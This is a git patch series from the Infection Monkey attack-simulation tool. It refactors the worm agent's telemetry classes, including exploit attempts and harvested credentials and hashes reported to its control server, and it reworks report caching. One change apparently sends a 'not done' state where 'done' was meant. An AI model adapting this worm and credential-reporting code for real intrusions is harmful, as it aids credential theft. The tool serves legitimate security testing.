From 12eeea68a420a725d30c423b758c0763350ba63d Mon Sep 17 00:00:00 2001 From: itay Date: Tue, 18 Jun 2019 20:17:51 +0300 Subject: [PATCH 01/15] determine if new report needs to be generated pending on latest update time of monkey --- .../cc/services/attack/attack_report.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 314a2e4df..37994e73d 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,6 +2,7 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService __author__ = "VakarisZ" @@ -25,7 +26,13 @@ class AttackReportService: Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME} + report =\ + { + 'techniques': {}, + 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']}, + 'name': REPORT_NAME + } + for tech_id, value in AttackConfig.get_technique_values().items(): if value: try: @@ -36,14 +43,6 @@ class AttackReportService: mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) return report - @staticmethod - def get_latest_attack_telem_time(): - """ - Gets timestamp of latest attack telem - :return: timestamp of latest attack telem - """ - return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_catagory': 'attack'}).sort('timestamp', -1).limit(1)][0] - @staticmethod def get_latest_report(): """ @@ -51,9 +50,10 @@ class AttackReportService: :return: report dict. """ if AttackReportService.is_report_generated(): - telem_time = AttackReportService.get_latest_attack_telem_time() + monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) - if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: + report_modifytime = latest_report['meta']['latest_monkey_modifytime'] + if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report return AttackReportService.generate_new_report() From f8004a6b0873933f7b048fb783b1112d6d0a1ee4 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 14:03:13 +0300 Subject: [PATCH 02/15] Use mongoengine for latest modify time --- monkey/monkey_island/cc/models/monkey.py | 4 ++++ monkey/monkey_island/cc/services/attack/attack_report.py | 7 ++++--- monkey/monkey_island/cc/services/node.py | 4 ---- monkey/monkey_island/cc/services/report.py | 5 +++-- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 3e1e3d7c5..20f45f5e0 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -41,6 +41,10 @@ class Monkey(Document): except IndexError: raise MonkeyNotFoundError("id: {0}".format(str(db_id))) + @staticmethod + def get_latest_modifytime(): + return Monkey.objects.order_by('-modifytime').first().modifytime + def is_dead(self): monkey_is_dead = False if self.dead: diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 37994e73d..d320c97da 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,8 +1,9 @@ import logging + +from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo -from monkey_island.cc.services.node import NodeService __author__ = "VakarisZ" @@ -29,7 +30,7 @@ class AttackReportService: report =\ { 'techniques': {}, - 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']}, + 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'name': REPORT_NAME } @@ -50,7 +51,7 @@ class AttackReportService: :return: report dict. """ if AttackReportService.is_report_generated(): - monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + monkey_modifytime = Monkey.get_latest_modifytime() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) report_modifytime = latest_report['meta']['latest_monkey_modifytime'] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 442fb391a..9da76b358 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -308,10 +308,6 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() - @staticmethod - def get_latest_modified_monkey(): - return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) - @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2cd0e82fa..ee3976886 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -10,6 +10,7 @@ from enum import Enum from six import text_type from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService @@ -714,7 +715,7 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() - monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] + monkey_latest_modify_time = Monkey.get_latest_modifytime() report = \ { @@ -779,7 +780,7 @@ class ReportService: if latest_report_doc: report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] - latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime return False From 5fc6fa5c3c9fcabb43397596f33f7308dc8a343f Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 14:03:41 +0300 Subject: [PATCH 03/15] Fix field type to contain more precise time --- monkey/monkey_island/cc/models/monkey.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 20f45f5e0..520b967a0 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -2,8 +2,8 @@ Define a Document Schema for the Monkey document. """ import mongoengine -from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ - ReferenceField +from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \ + DateTimeField from monkey_island.cc.models.monkey_ttl import MonkeyTtl @@ -24,8 +24,8 @@ class Monkey(Document): hostname = StringField() internet_access = BooleanField() ip_addresses = ListField(StringField()) - keepalive = DateField() - modifytime = DateField() + keepalive = DateTimeField() + modifytime = DateTimeField() # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. parent = ListField(ListField(StringField())) config_error = BooleanField() From 06c14bee67fb83a36b15836fa8ee57836120a4fd Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 14:57:57 +0300 Subject: [PATCH 04/15] refactor exploit telem --- monkey/infection_monkey/exploit/__init__.py | 31 +++++++++---------- monkey/infection_monkey/exploit/sambacry.py | 6 ++-- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/weblogic.py | 2 +- .../telemetry/exploit_telem.py | 27 ++++++++++++++++ 5 files changed, 47 insertions(+), 21 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/exploit_telem.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 6aa77733c..97dfe511a 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -20,32 +20,31 @@ class HostExploiter(object): def __init__(self, host): self._config = infection_monkey.config.WormConfiguration - self._exploit_info = {'display_name': self._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': []} - self._exploit_attempts = [] + self.exploit_info = { + 'display_name': self._EXPLOITED_SERVICE, + 'started': '', + 'finished': '', + 'vulnerable_urls': [], + 'vulnerable_ports': [] + } + self.exploit_attempts = [] self.host = host def set_start_time(self): - self._exploit_info['started'] = datetime.now().isoformat() + self.exploit_info['started'] = datetime.now().isoformat() def set_finish_time(self): - self._exploit_info['finished'] = datetime.now().isoformat() + self.exploit_info['finished'] = datetime.now().isoformat() def is_os_supported(self): return self.host.os.get('type') in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): - from infection_monkey.control import ControlClient - ControlClient.send_telemetry( - 'exploit', - {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, - 'info': self._exploit_info, 'attempts': self._exploit_attempts}) + from infection_monkey.telemetry.exploit_telem import ExploitTelem + ExploitTelem(self, result).send() def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): - self._exploit_attempts.append({'result': result, 'user': user, 'password': password, + self.exploit_attempts.append({'result': result, 'user': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) def exploit_host(self): @@ -65,10 +64,10 @@ class HostExploiter(object): raise NotImplementedError() def add_vuln_url(self, url): - self._exploit_info['vulnerable_urls'].append(url) + self.exploit_info['vulnerable_urls'].append(url) def add_vuln_port(self, port): - self._exploit_info['vulnerable_ports'].append(port) + self.exploit_info['vulnerable_ports'].append(port) from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7d9ed1010..b7c168f01 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -65,9 +65,9 @@ class SambaCryExploiter(HostExploiter): LOG.info("Writable shares and their credentials on host %s: %s" % (self.host.ip_addr, str(writable_shares_creds_dict))) - self._exploit_info["shares"] = {} + self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: - self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} self.try_exploit_share(share, writable_shares_creds_dict[share]) # Wait for samba server to load .so, execute code and create result file. @@ -90,7 +90,7 @@ class SambaCryExploiter(HostExploiter): self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) for share, fullpath in successfully_triggered_shares: - self._exploit_info["shares"][share]["fullpath"] = fullpath + self.exploit_info["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info( diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 337e0ec03..77ffd4538 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -66,7 +66,7 @@ class ShellShockExploiter(HostExploiter): exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed - self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] + self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..3c6f7b2d2 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -91,7 +91,7 @@ class WebLogicExploiter(WebRCE): if httpd.get_requests > 0: # Add all urls because we don't know which one is vulnerable self.vulnerable_urls.extend(urls) - self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + self.exploit_info['vulnerable_urls'] = self.vulnerable_urls else: LOG.info("No vulnerable urls found, skipping.") diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py new file mode 100644 index 000000000..f6ec6fc9c --- /dev/null +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -0,0 +1,27 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class ExploitTelem(BaseTelem): + + def __init__(self, exploiter, result): + """ + Default exploit telemetry constructor + :param exploiter: The instance of exploiter used + :param result: The result from the 'exploit_host' method. + """ + super(ExploitTelem, self).__init__() + self.exploiter = exploiter + self.result = result + + telem_category = 'attack' + + def get_data(self): + return { + 'result': self.result, + 'machine': self.exploiter.host.__dict__, + 'exploiter': self.exploiter.__class__.__name__, + 'info': self.exploiter.exploit_info, + 'attempts': self.exploiter.exploit_attempts + } From 78fb69c6eaedd1dd504e62a82eeb4309c75a03a9 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 15:35:00 +0300 Subject: [PATCH 05/15] Fix telem_category --- monkey/infection_monkey/telemetry/exploit_telem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index f6ec6fc9c..bb114434f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -15,7 +15,7 @@ class ExploitTelem(BaseTelem): self.exploiter = exploiter self.result = result - telem_category = 'attack' + telem_category = 'exploit' def get_data(self): return { From 27ca921dbcb42cac4251a2bb119094e91122bec4 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 15:36:28 +0300 Subject: [PATCH 06/15] Refactor state telem --- monkey/infection_monkey/monkey.py | 5 +++-- .../infection_monkey/telemetry/state_telem.py | 19 +++++++++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/state_telem.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 06e0f267b..9c1ffb419 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus @@ -109,7 +110,7 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.start() - ControlClient.send_telemetry("state", {'done': False}) + StateTelem(False).send() self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) @@ -223,7 +224,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + StateTelem(False).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py new file mode 100644 index 000000000..3bd63d2f9 --- /dev/null +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class StateTelem(BaseTelem): + + def __init__(self, is_done): + """ + Default state telemetry constructor + :param is_done: Whether the state of monkey is done. + """ + super(StateTelem, self).__init__() + self.is_done = is_done + + telem_category = 'state' + + def get_data(self): + return {'done': self.is_done} From 2ed228f2834975f81505c5e98e1d72c244a0efa5 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 16:01:08 +0300 Subject: [PATCH 07/15] Refactor scan,trace,tunnel,pba telems --- monkey/infection_monkey/monkey.py | 11 ++++--- monkey/infection_monkey/post_breach/pba.py | 8 ++--- .../telemetry/post_breach_telem.py | 31 +++++++++++++++++++ .../infection_monkey/telemetry/scan_telem.py | 22 +++++++++++++ .../infection_monkey/telemetry/trace_telem.py | 26 ++++++++++++++++ .../telemetry/tunnel_telem.py | 19 ++++++++++++ .../cc/resources/telemetry_feed.py | 2 +- 7 files changed, 107 insertions(+), 12 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/post_breach_telem.py create mode 100644 monkey/infection_monkey/telemetry/scan_telem.py create mode 100644 monkey/infection_monkey/telemetry/trace_telem.py create mode 100644 monkey/infection_monkey/telemetry/tunnel_telem.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 9c1ffb419..316cb6b31 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,10 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem +from infection_monkey.telemetry.trace_telem import TraceTelem +from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus @@ -114,7 +117,7 @@ class InfectionMonkey(object): self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) - ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) + TunnelTelem().send() if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") @@ -126,8 +129,7 @@ class InfectionMonkey(object): PostBreach().execute() if 0 == WormConfiguration.depth: - LOG.debug("Reached max depth, shutting down") - ControlClient.send_telemetry("trace", "Reached max depth, shutting down") + TraceTelem("Reached max depth, shutting down").send() return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) @@ -158,8 +160,7 @@ class InfectionMonkey(object): machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) - ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - 'service_count': len(machine.services)}) + ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 7df3693fa..3fb8b251f 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -2,6 +2,7 @@ import logging import subprocess import socket from infection_monkey.control import ControlClient +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os from infection_monkey.config import WormConfiguration @@ -45,12 +46,7 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - hostname = socket.gethostname() - ControlClient.send_telemetry('post_breach', {'command': self.command, - 'result': result, - 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname)}) + PostBreachTelem(self, result).send() def _execute_default(self): """ diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py new file mode 100644 index 000000000..4cb5b50df --- /dev/null +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -0,0 +1,31 @@ +import socket + +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class PostBreachTelem(BaseTelem): + + def __init__(self, pba, result): + """ + Default post breach telemetry constructor + :param pba: Post breach action which was used + :param result: Result of PBA + """ + super(PostBreachTelem, self).__init__() + self.pba = pba + self.result = result + self.hostname = socket.gethostname() + self.ip = socket.gethostbyname(self.hostname) + + telem_category = 'post_breach' + + def get_data(self): + return { + 'command': self.pba.command, + 'result': self.result, + 'name': self.pba.name, + 'hostname': self.hostname, + 'ip': self.ip + } diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py new file mode 100644 index 000000000..b1c58ab1b --- /dev/null +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class ScanTelem(BaseTelem): + + def __init__(self, machine): + """ + Default scan telemetry constructor + :param machine: Scanned machine + """ + super(ScanTelem, self).__init__() + self.machine = machine + + telem_category = 'scan' + + def get_data(self): + return { + 'machine': self.machine.as_dict(), + 'service_count': len(self.machine.services) + } diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py new file mode 100644 index 000000000..0782affb4 --- /dev/null +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -0,0 +1,26 @@ +import logging + +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + +LOG = logging.getLogger(__name__) + + +class TraceTelem(BaseTelem): + + def __init__(self, msg): + """ + Default trace telemetry constructor + :param msg: Trace message + """ + super(TraceTelem, self).__init__() + self.msg = msg + LOG.debug("Trace: %s" % msg) + + telem_category = 'trace' + + def get_data(self): + return { + 'msg': self.msg + } diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py new file mode 100644 index 000000000..64533a252 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.control import ControlClient +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class TunnelTelem(BaseTelem): + + def __init__(self): + """ + Default tunnel telemetry constructor + """ + super(TunnelTelem, self).__init__() + self.proxy = ControlClient.proxies.get('https') + + telem_category = 'tunnel' + + def get_data(self): + return {'proxy': self.proxy} diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index b98d650c8..db9d2e905 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -78,7 +78,7 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_trace_telem_brief(telem): - return 'Monkey reached max depth.' + return 'Trace: %s' % telem['data']['msg'] @staticmethod def get_post_breach_telem_brief(telem): From e20328c17aebdd51a8564e11ef2bc1e53961ab49 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 16:06:36 +0300 Subject: [PATCH 08/15] refactor system_info telem --- monkey/infection_monkey/monkey.py | 3 ++- .../telemetry/system_info_telem.py | 19 +++++++++++++++++++ .../monkey_island/cc/resources/telemetry.py | 4 ++-- .../cc/resources/telemetry_feed.py | 2 +- monkey/monkey_island/cc/services/report.py | 8 ++++---- 5 files changed, 28 insertions(+), 8 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/system_info_telem.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 316cb6b31..2ae380619 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader @@ -123,7 +124,7 @@ class InfectionMonkey(object): LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() - ControlClient.send_telemetry("system_info_collection", system_info) + SystemInfoTelem(system_info).send() # Executes post breach actions PostBreach().execute() diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py new file mode 100644 index 000000000..a4b1c0bd0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.base_telem import BaseTelem + +__author__ = "itay.mizeretz" + + +class SystemInfoTelem(BaseTelem): + + def __init__(self, system_info): + """ + Default system info telemetry constructor + :param system_info: System info returned from SystemInfoCollector.get_info() + """ + super(SystemInfoTelem, self).__init__() + self.system_info = system_info + + telem_category = 'system_info' + + def get_data(self): + return self.system_info diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index e69c5d6b0..d4aaa72df 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -79,7 +79,7 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_category'] == 'system_info_collection' and 'credentials' in x['data']: + if x['telem_category'] == 'system_info' and 'credentials' in x['data']: for user in x['data']['credentials']: if -1 != user.find(','): new_user = user.replace(',', '.') @@ -277,7 +277,7 @@ TELEM_PROCESS_DICT = \ 'state': Telemetry.process_state_telemetry, 'exploit': Telemetry.process_exploit_telemetry, 'scan': Telemetry.process_scan_telemetry, - 'system_info_collection': Telemetry.process_system_info_telemetry, + 'system_info': Telemetry.process_system_info_telemetry, 'trace': Telemetry.process_trace_telemetry, 'post_breach': Telemetry.process_post_breach_telemetry, 'attack': Telemetry.process_attack_telemetry diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index db9d2e905..f93626c25 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -97,7 +97,7 @@ TELEM_PROCESS_DICT = \ 'state': TelemetryFeed.get_state_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief, - 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, + 'system_info': TelemetryFeed.get_systeminfo_telem_brief, 'trace': TelemetryFeed.get_trace_telem_brief, 'post_breach': TelemetryFeed.get_post_breach_telem_brief, 'attack': TelemetryFeed.get_attack_telem_brief diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2a1a58d2e..811f08868 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -171,7 +171,7 @@ class ReportService: PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info_collection', 'data.credentials': {'$exists': True}}, + {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} ): monkey_creds = telem['data']['credentials'] @@ -199,7 +199,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'telem_category': 'system_info', 'data.ssh_info': {'$exists': True}}, {'data.ssh_info': 1, 'monkey_guid': 1} ): origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] @@ -220,7 +220,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info_collection', 'data.Azure': {'$exists': True}}, + {'telem_category': 'system_info', 'data.Azure': {'$exists': True}}, {'data.Azure': 1, 'monkey_guid': 1} ): azure_users = telem['data']['Azure']['usernames'] @@ -382,7 +382,7 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_category': 'system_info_collection', 'monkey_guid': monkey_guid}, + {'telem_category': 'system_info', 'monkey_guid': monkey_guid}, {'data.network_info.networks': 1} ) if network_info is None: From 053ad1a261946ab051841070e290bee5c03f1abb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 16:42:36 +0300 Subject: [PATCH 09/15] PBA handles hostname lookup failure --- monkey/infection_monkey/post_breach/pba.py | 9 +++++++-- monkey/monkey_island/cc/resources/telemetry_feed.py | 6 +++--- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 7df3693fa..28e489e8d 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -45,12 +45,17 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - hostname = socket.gethostname() + try: + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + except socket.error: + hostname = "Unknown" + ip = "Unknown" ControlClient.send_telemetry('post_breach', {'command': self.command, 'result': result, 'name': self.name, 'hostname': hostname, - 'ip': socket.gethostbyname(hostname)}) + 'ip': ip}) def _execute_default(self): """ diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 57a655297..ceef55489 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], - telem['data']['hostname'], - telem['data']['ip']) + return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) @staticmethod def get_attack_telem_brief(telem): From d0d0f13a43e873b48ae407f4530f62a60190f0d4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 Jun 2019 13:38:05 +0300 Subject: [PATCH 10/15] WebLogic 